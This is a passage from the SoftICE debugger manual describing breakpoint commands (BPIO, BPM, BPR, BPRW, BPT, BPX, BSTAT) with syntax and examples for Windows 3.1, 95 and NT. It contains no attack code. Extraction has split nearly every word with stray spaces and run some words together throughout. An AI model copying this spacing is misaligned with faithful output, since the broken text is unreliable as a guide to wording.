Wi ndows NT maps har dwar e i nt er r upt s, whi ch by def aul t map t o vect or s 8- Fh and
70h- 77h,
t o hi gher number s t o pr event conf l i ct s wi t h sof t war e i nt er r upt s. The pr i mar y
i nt er r upt
cont r ol l er i s mapped f r omvect or 30h- 37h. The secondar y i nt er r upt cont r ol l er i s
mapped
f r omvect or 38h- 3Fh.
Exampl e: I RQ0 i s I NT30h and I RQ8 i s I NT38h

%Exampl e
The f ol l owi ng exampl e r esul t s i n Wi ndows NT syst emcal l ( sof t war e i nt er r upt
2Eh)
br eakpoi nt s onl y bei ng t r i gger ed i f t he t hr ead maki ng t he syst emcal l has a
t hr ead I D ( TI D)
equal t o t he cur r ent t hr ead at t he t i me t he command i s ent er ed ( _TI D) . Each
t i me t he
Pagina 663 di 991
br eakpoi nt hi t s, t he cont ent s of t he addr ess 82345829h ar e dumped as a r esul t
of t he DO
opt i on.
BPI NT 2e i f t i d==_t i d do " dd 82345829"


: BPI O
^BPI O Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Br eakpoi nt s
^Set a br eakpoi nt on an I / O por t access.

%Synt ax
For Wi ndows 3. 1
BPI O por t [ ver b] [ qual i f i er val ue] [ c=count ]

For Wi ndows 95
BPI O [ - h] por t [ ver b] [ I F expr essi on] [ DO " command1; command2; . . . " ]

For Wi ndows NT
BPI O por t [ ver b] [ I F expr essi on] [ DO " command1; command2; . . . " ]

por t : Byt e or wor d val ue.
ver b
qual i f i er
val ue: Byt e, wor d, or dwor d val ue.
c=: Br eakpoi nt t r i gger count .
Val ue_____Descr i pt i on
R Read ( I N)
W Wr i t e ( OUT)
RW Reads and Wr i t es
Val ue_____ Descr i pt i on
EQ Equal
NE Not Equal
GT Gr eat er Than
LT Less Than
M Mask.
A bi t mask i s r epr esent ed as a combi nat i on of 1' s, 0' s and X' s. X' s ar e don' t -
car e bi t s. Qual i f i er , val ue, and C= ar e not val i d f or Wi ndows 95 and Wi ndows
NT.

- h: Use har dwar e debug r egi st er s t o set a br eakpoi nt i n Vxd. Avai l abl e f or
Pent i um- cl ass pr ocessor s on Wi ndows 95 onl y.
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .

%Use
Use t he BPI O i nst r uct i on t o have Sof t I CE pop up whenever a speci f i ed I / O por t
i s accessed i n
t he i ndi cat ed manner . When a BPI O br eakpoi nt t r i gger s, t he i nst r uct i on poi nt er
( CS: EI P)
poi nt s t o t he i nst r uct i on f ol l owi ng t he I N or OUT i nst r uct i on t hat caused t he
br eakpoi nt .
I f you do not speci f y a ver b, RWi s t he def aul t .

For Wi ndows 3. 1
Pagina 664 di 991
I f you speci f y ver b and val ue par amet er s, t he val ue speci f i ed i s compar ed wi t h,
accor di ng t o
t he ver b, t he act ual dat a val ue r ead or wr i t t en by t he I N or OUT i nst r uct i on
causi ng t he
br eakpoi nt . The val ue may be a byt e, a wor d, or a dwor d. The possi bl e ver bs
al l ow f or
compar i sons of equal i t y, i nequal i t y, gr eat er - t han- or - equal , l ess- t han- or - equal ,
and l ogi cal
AND compar i son.

For Wi ndows 3. 1 and Wi ndows 95
Due t o t he behavi or of t he x86 ar chi t ect ur e, BPI O br eakpoi nt s ar e onl y act i ve
whi l e t he
pr ocessor i s execut i ng i n t he RI NG 3 pr i vi l ege l evel . Thi s means t hat I / O
act i vi t y per f or med
by RI NG 0 code such as VxDs and t he Wi ndows VMM ar e not t r apped by BPI O
br eakpoi nt s. For Wi ndows 95 onl y, use t he - H swi t ch t o f or ce Sof t I CE t o use t he
har dwar e
debug r egi st er s. Thi s l et s you t r ap I / O per f or med at Ri ng 0 i n VxDs.
Wi ndows vi r t ual i zes many of t he syst emI / O por t s, meani ng t hat VxDs have
r egi st er ed
handl er s t hat ar e cal l ed when RI NG 3 accesses ar e made t o t he por t s. To get a
l i st of
vi r t ual i zed por t s, use t he TSS command. The command shows each hooked I / O por t
pl us t he
addr ess of i t s associ at ed handl er and t he name of t he VxD t hat owns i t . To see
how a
par t i cul ar por t i s vi r t ual i zed, set a BPX on t he addr ess of t he I / O handl er .

For Wi ndows NT
The BPI O command uses t he debug r egi st er suppor t pr ovi ded on t he Pent i um,
t her ef or e,
I / O br eakpoi nt s ar e onl y avai l abl e on Pent i um- cl ass machi nes.

When usi ng debug r egi st er s f or I / O br eakpoi nt s, al l physi cal I / O i nst r uct i ons
( non- emul at ed)
ar e t r apped no mat t er what pr i vi l ege l evel t hey ar e execut ed f r om. Thi s i s
di f f er ent f r omusi ng
t he I / O bi t map t o t r ap I / O, as i s done f or Sof t I CE r unni ng under Wi ndows 3. 1
and
Wi ndows 95 ( wi t hout t he - H swi t ch) . The I / O bi t map met hod can onl y t r ap I / O
done f r om
user - l evel code, wher eas a dr awback of t he debug r egi st er met hod f or t r appi ng
por t I / O i s t hat
i t does not t r ap emul at ed I / O such as I / O per f or med f r oma DOS box.

Due t o l i mi t at i ons i n t he number of debug r egi st er s avai l abl e on x86
pr ocessor s, a maxi mum
of f our BPI Os can be set at any gi ven t i me.

%Exampl e
The f ol l owi ng commands def i ne condi t i onal br eakpoi nt s f or accesses t o por t 21h
( i nt er r upt
cont r ol 1' s mask r egi st er ) . The br eakpoi nt s onl y t r i gger i f t he access i s a
wr i t e access, and t he
val ue bei ng wr i t t en i s not FFh.
. For Wi ndows 3. 1
Use t hi s command: BPI O 21 w ne f f
. For Wi ndows 95 and Wi ndows NT
Use t hi s command: BPI O 21 w i f ( al ! =0xFF)

Not e: I n t he Wi ndows NT exampl e, you shoul d be car ef ul about i nt r i nsi c
assumpt i ons
Pagina 665 di 991
bei ng made about t he si ze of t he I / O oper at i ons bei ng t r apped. The por t I / O t o
be
t r apped i s OUTB. An OUTWwi t h AL==FFh al so t r i gger s t he br eakpoi nt , even
t hough i n t hat case t he val ue i n AL ends up bei ng wr i t t en t o por t 22h.

The f ol l owi ng exampl e def i nes a condi t i onal byt e br eakpoi nt on r eads of por t
3FEh. The
br eakpoi nt occur s t he f i r st t i me t hat I / O por t 3FEh i s r ead wi t h a val ue t hat
has t he t wo hi gh-
or der bi t s set t o 1. The ot her bi t s can be of any val ue.
. For Wi ndows 3. 1 Use t hi s command: BPI O 3f e r eq m11xx xxxx
. For Wi ndows 95 and Wi ndows NT Use t hi s command: BPI O 3f e r i f ( ( al &
0xC0) ==0xC0)


: BPM
^BPM Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Br eakpoi nt s
^Set a br eakpoi nt on memor y access or execut i on.

%Synt ax
For Wi ndows 3. 1
BPM[ si ze] addr ess [ ver b] [ qual i f i er val ue] [ debug- r eg] [ c=count ]

For Wi ndows 95 and Wi ndows NT
BPM[ si ze] addr ess [ ver b] [ debug- r eg] [ I F expr essi on]
[ DO " command1; command2; . . . " ]

si ze: Si ze i s act ual l y a r ange cover ed by t hi s br eakpoi nt . For exampl e, i f you
use doubl e wor d, and t he t hi r d byt e of t he dwor d i s modi f i ed, a
br eakpoi nt occur s. The si ze i s al so i mpor t ant i f you speci f y t he
opt i onal qual i f i er .
ver b
Val ue_____Descr i pt i on
B Byt e
W Wor d
D Doubl e Wor d
Val ue_____Descr i pt i on
R Read
W Wr i t e
RW Reads and Wr i t es
X Execut e


qual i f i er : These qual i f i er s ar e onl y appl i cabl e t o r ead and wr i t e br eakpoi nt s,
not
execut i on br eakpoi nt s.
val ue: Byt e, wor d, or doubl e wor d val ue, dependi ng on t he si ze you speci f y.
debug- r eg
c=: Br eakpoi nt t r i gger count .
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .
%Use
Use BPM br eakpoi nt s t o have Sof t I CE pop up whenever cer t ai n t ypes of accesses
ar e made t o
Pagina 666 di 991
memor y l ocat i ons. The si ze and ver b par amet er s al l ow f or t he accesses t o be
f i l t er ed accor di ng
t o t hei r t ype, and t he DO par amet er ( Wi ndows NT onl y) al l ows f or ar bi t r ar y
Sof t I CE
commands t o be execut ed each t i me t he br eakpoi nt i s hi t .
I f you do not speci f y a debug r egi st er , Sof t I CE uses t he f i r st avai l abl e debug
r egi st er st ar t i ng
f r omDR3 and wor ki ng backwar ds. You shoul d not i ncl ude a debug r egi st er unl ess
you ar e
debuggi ng an appl i cat i on t hat uses debug r egi st er s i t sel f such as a debuggi ng
t ool .
Val ue_____Descr i pt i on
EQ Equal
NE Not Equal
GT Gr eat er Than
LT Less Than
M Mask. A bi t mask i s r epr esent ed as a
combi nat i on of 1' s, 0' s and X' s. The X' s
ar e don' t - car e bi t s.
Val ue :
DR0
DR1
DR2
DR3
Qual i f i er , val ue, and C= ar e not val i d f or Wi ndows 95 and Wi ndows NT.

I f you do not speci f y a ver b, RWi s t he def aul t .

I f you do not speci f y a si ze, B i s t he def aul t .

For al l t he ver b t ypes except X, Sof t I CE pops up af t er t he i nst r uct i on t hat
causes t he
br eakpoi nt t o t r i gger has execut ed. The CS: EI P poi nt s at t he i nst r uct i on i n t he
code st r eam
f ol l owi ng t he t r apped i nst r uct i on. I n t he case of t he X ver b, Sof t I CE pops up
bef or e t he
i nst r uct i on causi ng t he br eakpoi nt t o t r i gger has execut ed. The CS: EI P
t her ef or e poi nt s at t he
i nst r uct i on wher e t he br eakpoi nt was set .

I f you speci f y t he R ver b, br eakpoi nt s occur on r ead accesses and on wr i t e
oper at i ons t hat do
not change t he val ue of t he memor y l ocat i on.

I f t he ver b i s R, Wor RW, execut i ng an i nst r uct i on at t he speci f i ed addr ess
does not cause t he
br eakpoi nt t o occur .

I f you set a br eakpoi nt usi ng BPMWi t i s a wor d- si zed memor y br eakpoi nt , t hen
t he speci f i ed
addr ess must st ar t on a wor d boundar y. I f you set a br eakpoi nt usi ng BPMD t he
memor y
br eakpoi nt i s dwor d si zed, t hen t he speci f i ed addr ess must st ar t on a doubl e
wor d boundar y.

For Wi ndows 3. 1
The count par amet er can be used t o have a br eakpoi nt t r i gger onl y af t er i t has
been hi t a
speci f i ed number of t i mes. The def aul t count val ue i s 1, meani ng t hat t he
br eakpoi nt t r i gger s
t he f i r st t i me t he br eakpoi nt condi t i on i s sat i sf i ed. The count i s r eset each
t i me t he br eakpoi nt
t r i gger s.
Pagina 667 di 991

For Wi ndows 95
BPM br eakpoi nt s set i n t he r ange 400000 - 7FFFFFFF ( WI N32 appl i cat i ons) ar e
addr ess-
cont ext sensi t i ve. That i s, t hey ar e t r i gger ed onl y when t he addr ess cont ext i n
whi ch t he
br eakpoi nt was set i s act i ve. I f a BPM i s set i n a DLL t hat exi st s i n mul t i pl e
cont ext s, t he
br eakpoi nt i s ar med i n al l t he cont ext s i n whi ch i t exi st s. For exampl e, i f you
set a BPM X
br eakpoi nt i n KERNEL32 i t coul d br eak i n any cont ext t hat cont ai ns
KERNEL32. DLL.

For Wi ndows NT
Any br eakpoi nt set on an addr ess bel ow 80000000h ( 2 GB) i s addr ess- cont ext
sensi t i ve. Thi s
i ncl udes WI N32 and DOS V86 appl i cat i ons. Take car e t o ensur e you ar e i n t he
cor r ect
cont ext bef or e set t i ng a br eakpoi nt .

%Exampl e
The f ol l owi ng exampl e def i nes a br eakpoi nt on memor y byt e access t o t he addr ess
poi nt ed at
by ES: DI +1Fh. The f i r st t i me t hat 10h i s wr i t t en t o t hat l ocat i on, t he
br eakpoi nt t r i gger s.
. For Wi ndows 3. 1 Use t he command: BPM es: di +1f w eq 10
. For Wi ndows 95 and Wi ndows NT Use t he command: BPM es: di +1f w i f
( *( es: di +1f ) ==0x10)

The next exampl e def i nes an execut i on br eakpoi nt on t he i nst r uct i on at addr ess
CS: 80204D20h. The f i r st t i me t hat t he i nst r uct i on at t he addr ess i s execut ed,
t he br eakpoi nt
occur s.
. For Wi ndows 3. 1, Wi ndow 95, and Wi ndows NT Use t he command: BPM CS: 80204D20 x

The f ol l owi ng exampl e def i nes a wor d br eakpoi nt on a memor y wr i t e. The
br eakpoi nt occur s
t he f i r st t i me t hat l ocat i on Foo has a val ue wr i t t en t o i t t hat set s t he hi gh
or der bi t t o 0 and t he
l ow or der bi t t o 1. The ot her bi t s can be any val ue.
. For Wi ndows 3. 1 Use t he command: BPMWf oo e eq m0xxx xxxx xxxx xxx1

Thi s exampl e set s a byt e br eakpoi nt on a memor y wr i t e. The br eakpoi nt t r i gger s
t he f i r st t i me
t hat t he byt e at l ocat i on DS: 80150000h has a val ue wr i t t en t o i t t hat i s
gr eat er t han 5.
. For Wi ndows 3. 1 Use t he command: BPM ds: 80150000 w gt 5
. For Wi ndows 95 and Wi ndows NT Use t he command: BPM ds: 80150000 i f
( byt e( *ds: 80150000) >5)

: BPR
^BPR Wi ndows 3. 1, Wi ndows 95 Br eakpoi nt s
^Set a br eakpoi nt on a memor y r ange.

%Synt ax
Wi ndows 3. 1
BPR st ar t - addr ess end- addr ess [ ver b] [ c=count ]

Wi ndows 95
BPR st ar t - addr ess end- addr ess [ ver b] [ I F expr essi on]
[ DO " command1; command2; . . . " ]

st ar t - addr ess: Begi nni ng of memor y r ange.
Pagina 668 di 991
end- addr ess: Endi ng of memor y r ange.
ver b
c=: Br eakpoi nt t r i gger count .
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .
Val ue_____Descr i pt i on
R Read
W Wr i t e
RW Reads and Wr i t es
T Back Tr ace on Execut i on
TWBack Tr ace on Memor y Wr i t es

%Use
Use t he BPR command t o set br eakpoi nt s t hat t r i gger whenever cer t ai n t ypes of
accesses ar e
made t o an ent i r e addr ess r ange.

Ther e i s no expl i ci t r ange br eakpoi nt f or execut i on access, however , execut i on
br eakpoi nt s on
r anges can be obt ai ned wi t h t he R ver b. An i nst r uct i on f et ch i s consi der ed a
r ead f or r ange
br eakpoi nt s.

I f you do not speci f y a ver b, Wi s t he def aul t .

The r ange br eakpoi nt degr ades syst emper f or mance i n cer t ai n ci r cumst ances. Any
r ead or
wr i t e wi t hi n t he 4KB page t hat cont ai ns a br eakpoi nt r ange i s anal yzed by
Sof t I CE t o
det er mi ne i f i t sat i sf i es t he br eakpoi nt condi t i on. Thi s per f or mance
degr adat i on i s usual l y not
not i ceabl e, however , degr adat i on coul d be ext r eme i n cases wher e t her e ar e
f r equent accesses
t o t he r ange.

The T and TWver bs enabl e back t r ace r anges on t he speci f i ed r ange. They do not
cause
br eakpoi nt s, but i nst ead r esul t i n i nf or mat i on about al l i nst r uct i ons t hat
woul d have caused
t he br eakpoi nt t o t r i gger t o be wr i t t en t o a l og t hat can be di spl ayed wi t h t he
SHOWor
TRACE commands.

When a r ange br eakpoi nt i s t r i gger ed and Sof t I CE pops up, t he cur r ent CS: EI P
poi nt s at t he
i nst r uct i on t hat caused t he br eakpoi nt .

Range br eakpoi nt s ar e al ways set i n t he page t abl es t hat ar e act i ve when t he
BPR command i s
ent er ed. Ther ef or e, i f r ange addr esses ar e bel ow 4MB, t he r ange br eakpoi nt wi l l
be t i ed t o t he
vi r t ual machi ne t hat i s cur r ent when BPR i s ent er ed. Because of t hi s f act ,
t her e ar e some ar eas
i n memor y wher e r ange br eakpoi nt s ar e not suppor t ed. These i ncl ude t he page
t abl es, GDT,
Pagina 669 di 991
I DTs, LDT, and Sof t I CE. I f you t r y t o set a r ange br eakpoi nt or back t r ace
r ange over one of
t hese ar eas, Sof t I CE r et ur ns an er r or .

Ther e ar e t wo ot her dat a ar eas i n whi ch you cannot pl ace a r ange br eakpoi nt ,
but i f you do
Sof t I CE wi l l not compl ai n. These ar e Wi ndows l evel 0 st acks and cr i t i cal ar eas
i n t he VMM.
Wi ndows l evel 0 st acks ar e usual l y i n separ at el y al l ocat ed dat a segment s. I f
you set a r ange
over a l evel 0 st ack or a cr i t i cal ar ea i n VMM, you coul d hang t he syst em.
I f t he memor y t hat cover s t he r ange br eakpoi nt i s swapped or moved, t he r ange
br eakpoi nt
f ol l ows i t .

For Wi ndows 3. 1
The count par amet er can be used t o have a br eakpoi nt t r i gger onl y af t er i t has
been hi t a
speci f i ed number of t i mes. The def aul t count val ue i s 1, meani ng t hat t he
br eakpoi nt wi l l
t r i gger t he f i r st t i me t he br eakpoi nt condi t i on i s sat i sf i ed. The count i s
r eset each t i me t he
br eakpoi nt t r i gger s.

For Wi ndows 95
Due t o a change i n syst emar chi t ect ur e, BPRs ar e no l onger suppor t ed i n l evel 0
code. Thus,
you cannot use BPRs t o t r ap VxD code.

%Exampl e
The f ol l owi ng exampl e def i nes a br eakpoi nt on a memor y r ange. The br eakpoi nt
occur s i f
t her e ar e any wr i t es t o t he memor y bet ween addr esses ES: 0 and ES: 1FFF:
BPR es: 0 es: 1f f f w

: BPRW
^BPRWWi ndows 3. 1, Wi ndows 95 Br eakpoi nt s
^Set r ange br eakpoi nt s on Wi ndows pr ogr amor code segment .

%Synt ax
For Wi ndows 3. 1
BPRWmodul e- name | sel ect or [ ver b]

For Wi ndows 95
BPRWmodul e- name | sel ect or [ ver b] [ I F expr essi on]
[ DO " command1; command2; . . . " ]

modul e- name: Any val i d Wi ndows Modul e name t hat cont ai ns execut abl e code
segment s.
sel ect or : Val i d 16- bi t sel ect or i n a Wi ndows pr ogr am.
ver b
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .

Val ue_____Descr i pt i on
Pagina 670 di 991
R Read
W Wr i t e
RW Reads and Wr i t es
T Back Tr ace on Execut i on
TW Back Tr ace on Memor y Wr i t es

%Use
The BPRWcommand i s a shor t - hand way of set t i ng r ange br eakpoi nt s on ei t her al l
of t he
code segment s, or on a si ngl e segment of a Wi ndows pr ogr am.

The BPRWcommand act ual l y set s BPR st yl e br eakpoi nt s. Thus, i f you ent er t he BL
command af t er ent er i ng a BPRWcommand, you can see wher e separ at e r ange
br eakpoi nt s
wer e set t o cover t he segment s speci f i ed i n t he BPRWcommand.

Val i d sel ect or s f or a 16- bi t Wi ndows pr ogr amcan be obt ai ned wi t h t he HEAP
i nst r uct i on.

Cl ear i ng t he br eakpoi nt s cr eat ed by BPRWcommands r equi r es t hat each of t hese
r ange
br eakpoi nt s be separ at el y cl ear ed wi t h t he BC command.

Not e: The BPRWcommand can become ver y sl ow when usi ng t he T ver b t o back t r ace
or
when usi ng t he command i n conj unct i on wi t h a CSI P qual i f yi ng r ange.

For Wi ndows 95
Due t o a change i n syst emar chi t ect ur e, BPRs ar e no l onger suppor t ed i n l evel 0
code. For
exampl e, you cannot use BPRs t o t r ap VxD code.

When a BPRWi s set on a 32- bi t appl i cat i on or DLL, a si ngl e r ange br eakpoi nt i s
set st ar t i ng
at t he execut abl e i mage base and endi ng at t he i mage base pl us i mage si ze.

Common Uses
The BPRWcommand i s commonl y used t o do t he f ol l owi ng:
. To set a back t r ace hi st or y r ange over an ent i r e Wi ndows appl i cat i on or DLL,
speci f y t he
modul e- name and t he T ver b.
. To set a br eakpoi nt t hat t r i gger s whenever a pr ogr amexecut es, use t he R
ver b. Thi s wor ks
because t he R ver b br eaks on execut i on as wel l as r eads.
. To use BPRWas a conveni ent f or mof BPR. I nst ead of r equi r i ng you t o l ook up
a
segment ' s base and l i mi t t hr ough t he LDT or GDT commands, you onl y need t o
know
t he segment sel ect or .

%Exampl e
Thi s exampl e set s up a back t r ace r ange on al l of t he code segment s i n t he
Pr ogr amManager .
Al l i nst r uct i ons t hat t he Pr ogr amManager execut es ar e l ogged t o t he back t r ace
hi st or y buf f er
and can l at er be vi ewed wi t h t he TRACE and SHOWcommands.
BPRWpr ogman t

: BPT
^BPT Wi ndows 3. 1, Wi ndows 95 Mani pul at i ngBr eakpoi nt s
^Use a br eakpoi nt descr i pt i on as a t empl at e.

%Synt ax
Pagina 671 di 991
BPT br eakpoi nt - i ndex

br eakpoi nt - i ndex: Br eakpoi nt i ndex number .

%Use
The BPT command uses an exi st i ng br eakpoi nt descr i pt i on as a t empl at e f or
def i ni ng a new
br eakpoi nt . The BPT command l oads a t empl at e of t he br eakpoi nt descr i pt i on i nt o
t he edi t
l i ne f or modi f i cat i on. Use t he edi t i ng keys t o edi t t he br eakpoi nt descr i pt i on
and t ype Ent er
t o add t he new br eakpoi nt descr i pt i on. The br eakpoi nt r ef er enced by br eakpoi nt
i ndex i s not
al t er ed. Thi s command of f er s a qui ck way t o modi f y t he par amet er s of an
exi st i ng br eakpoi nt .
Condi t i onal expr essi ons ar e expanded as par t s of t he br eakpoi nt expr essi on as
wel l as
br eakpoi nt act i ons.

%Exampl e
The f ol l owi ng exampl e moves a t empl at e of br eakpoi nt 3 i nt o t he edi t l i ne
( wi t hout r emovi ng
br eakpoi nt 3) . An exampl e of t he edi t l i ne f ol l ows:
BPT 3
. : BPX 1b: 401200 i f ( eax==1) do ``dd esi ' '
Pr ess Ent er t o add t he new br eakpoi nt .


: BPX
^BPX WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT BREAKPOI NTS
^F9
^Set or cl ear a br eakpoi nt on execut i on.

%Synt ax
For Wi ndows 3. 1
BPX [ addr ess] [ c=count ]

For Wi ndows 95 and Wi ndows NT
BPX [ addr ess] [ I F expr essi on] [ DO " command1; command2; . . . " ]

addr ess: Li near addr ess t o set execut i on br eakpoi nt .
c=: Br eakpoi nt t r i gger count .
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .

%Use
Use t he BPX command t o def i ne br eakpoi nt s t hat t r i gger whenever t he i nst r uct i on
at t he
speci f i ed addr ess i s execut ed.

The addr ess par amet er must poi nt at t he f i r st byt e of t he i nst r uct i on opcode of
t he i nst r uct i on
wher e t he br eakpoi nt i s bei ng set . I f no addr ess i s speci f i ed and t he cur sor i s
i n t he Code
Pagina 672 di 991
wi ndow when you begi n t o t ype t he command, a poi nt - and- shoot br eakpoi nt i s set
wher e t he
i mpl i ed addr ess i s t hat of t he i nst r uct i on at t he cur sor l ocat i on i n t he Code
wi ndow. I f you
def i ne a poi nt - and- shoot br eakpoi nt at an addr ess wher e a br eakpoi nt al r eady
exi st s, t he
exi st i ng br eakpoi nt i s cl ear ed.

Not e: Use t he EC command ( def aul t key F6) t o move t he cur sor i nt o t he Code
wi ndow.
I f t he cur sor i s not i n t he Code wi ndow when you ent er t he BPX command, you
must speci f y
an addr ess. I f you speci f y onl y an of f set , t he cur r ent CS r egi st er val ue i s
used as t he segment .

The BPX command nor mal l y pl aces an I NT 3 i nst r uct i on at t he br eakpoi nt addr ess.
Thi s
br eakpoi nt met hod i s used i nst ead of assi gni ng a debug r egi st er t o make mor e
execut i on
br eakpoi nt s avai l abl e. I f you need t o use a br eakpoi nt r egi st er , f or exampl e,
t o set a br eakpoi nt
on code not yet l oaded i n a DOS VM, set an execut i on br eakpoi nt wi t h t he BPM
command
and speci f y X as t he ver b.

I f you t r y t o set a BPX at an addr ess t hat i s i n ROM, a br eakpoi nt r egi st er i s
aut omat i cal l y
used f or t he br eakpoi nt i nst ead of t he nor mal pl acement of an I NT 3 at t he
t ar get addr ess
( because ROM cannot be modi f i ed) .

The BPX command accept s 16- bi t Wi ndows modul e names as an addr ess par amet er .
When
you ent er a 16- bi t modul e name, Sof t I CE set s a BPX- st yl e br eakpoi nt on ever y
expor t ed ent r y
poi nt i n t he modul e.

Exampl e: BPX KERNEL set s a br eakpoi nt on ever y f unct i on i n t he 16- bi t Wi ndows
modul e
KRNL386. EXE. Thi s can be ver y usef ul i s you need t o br eak t he next t i me any
f unct i on i n a DLL i s cal l ed.

Sof t I CE suppor t s a maxi mumof 256 br eakpoi nt s when usi ng t hi s command.

For Wi ndows 3. 1 and Wi ndows 95
BPX br eakpoi nt s i n DOS VMs ar e t i ed t o t he VM t hey wer e set i n. Thi s i s
nor mal l y what you
woul d l i ke when debuggi ng a DOS pr ogr ami n a DOS VM. However , t her e ar e
si t uat i ons
when you may want t he br eakpoi nt t o go of f at a cer t ai n addr ess no mat t er what
VM i s
cur r ent l y mapped i n. Thi s i s usual l y t r ue when debuggi ng i n DOS code or i n a
TSR t hat was
r un bef or e Wi ndows was st ar t ed. I n t hese cases, use a BPM br eakpoi nt wi t h t he X
ver b
i nst ead of BPX.

For Wi ndows 95
BPX br eakpoi nt s set i n t he r ange 400000 - 7FFFFFFF ( WI N32 appl i cat i ons) ar e
addr ess-
cont ext sensi t i ve. That i s, t hey ar e onl y t r i gger ed when t he cont ext i n whi ch
t hey wer e set i s
Pagina 673 di 991
act i ve. I f a br eakpoi nt i s set i n a DLL t hat exi st s i n mul t i pl e cont ext s,
however , t he br eakpoi nt
wi l l exi st i n al l cont ext s.

For Wi ndows NT
Any br eakpoi nt set on an addr ess bel ow 80000000h ( 2 GB) i s addr ess- cont ext
sensi t i ve. Thi s
i ncl udes WI N32, WI N16, and DOS V86 appl i cat i ons. Take car e t o ensur e you ar e i n
t he
cor r ect cont ext bef or e set t i ng a br eakpoi nt .

%Exampl e
Thi s exampl e set s an execut i on br eakpoi nt at t he i nst r uct i on 10h byt es past t he
cur r ent
i nst r uct i on poi nt er ( CS: EI P) .
BPX ei p+10

Thi s exampl e set s an execut i on br eakpoi nt at sour ce l i ne 1234 i n t he cur r ent
sour ce f i l e ( r ef er
t o FI LE on page 81) .
BPX . 1234

For Wi ndows 95 and Wi ndows NT
The f ol l owi ng i s an exampl e of t he use of a condi t i onal expr essi on t o qual i f y a
br eakpoi nt . I n
t hi s case, t he br eakpoi nt t r i gger s i f t he EAX r egi st er i s wi t hi n t he speci f i ed
r ange:
BPX ei p i f eax > 1f f && eax <= 300

I n t hi s exampl e, a br eakpoi nt act i on i s used t o have Sof t I CE aut omat i cal l y dump
a par amet er
f or a cal l . Ever y t i me t he br eakpoi nt i s hi t , t he cont ent s of t he st r i ng
poi nt ed t o by t he cur r ent
DS: DX wi l l be di spl ayed i n t he Dat a wi ndow.
BPX 80023455 do ``db ds: dx' '
See Al so FI LE

: BSTAT
^BSTAT Wi ndows 95, Wi ndows NT Br eakpoi nt s
^Di spl ay st at i st i cs f or one or mor e br eakpoi nt s.

%Synt ax
BSTAT [ br eakpoi nt - i ndex]

br eakpoi nt - i ndex: Br eakpoi nt i ndex number .

%Use
Use BSTAT t o di spl ay st at i st i cs on br eakpoi nt hi t s, mi sses, and whet her
br eakpoi nt s popped
up or wer e l ogged. A br eakpoi nt wi l l be l ogged t o t he hi st or y buf f er i nst ead of
poppi ng up i f i t
has a condi t i onal expr essi on t hat uses t he BPLOG expr essi on macr o.

Because condi t i onal expr essi ons ar e eval uat ed when t he br eakpoi nt i s t r i gger ed,
i t i s possi bl e
t o have eval uat i on r un- t i me er r or s. Exampl es of t hi s ar e when a vi r t ual symbol
i s r ef er enced,
and t hat symbol has not been l oaded, or a r ef er ence t o symbol cannot be
r esol ved because t he
memor y i s not pr esent . I n t hese cases, and possi bl y ot her s, an er r or wi l l be
gener at ed and
not ed. The St at us and Scode f i el ds under t he Mi sc. col umn cont ai n er r or
i nf or mat i on whi ch
Pagina 674 di 991
i ndi cat es what pr obl em, i f any, has occur r ed.

%Out put
For each br eakpoi nt di spl ayed t he f ol l owi ng i nf or mat i on al so appear s:
BP # Br eakpoi nt i ndex, and i f di sabl ed, an * ( ast er i sk) .

Tot al s Cat egor y:
Hi t s
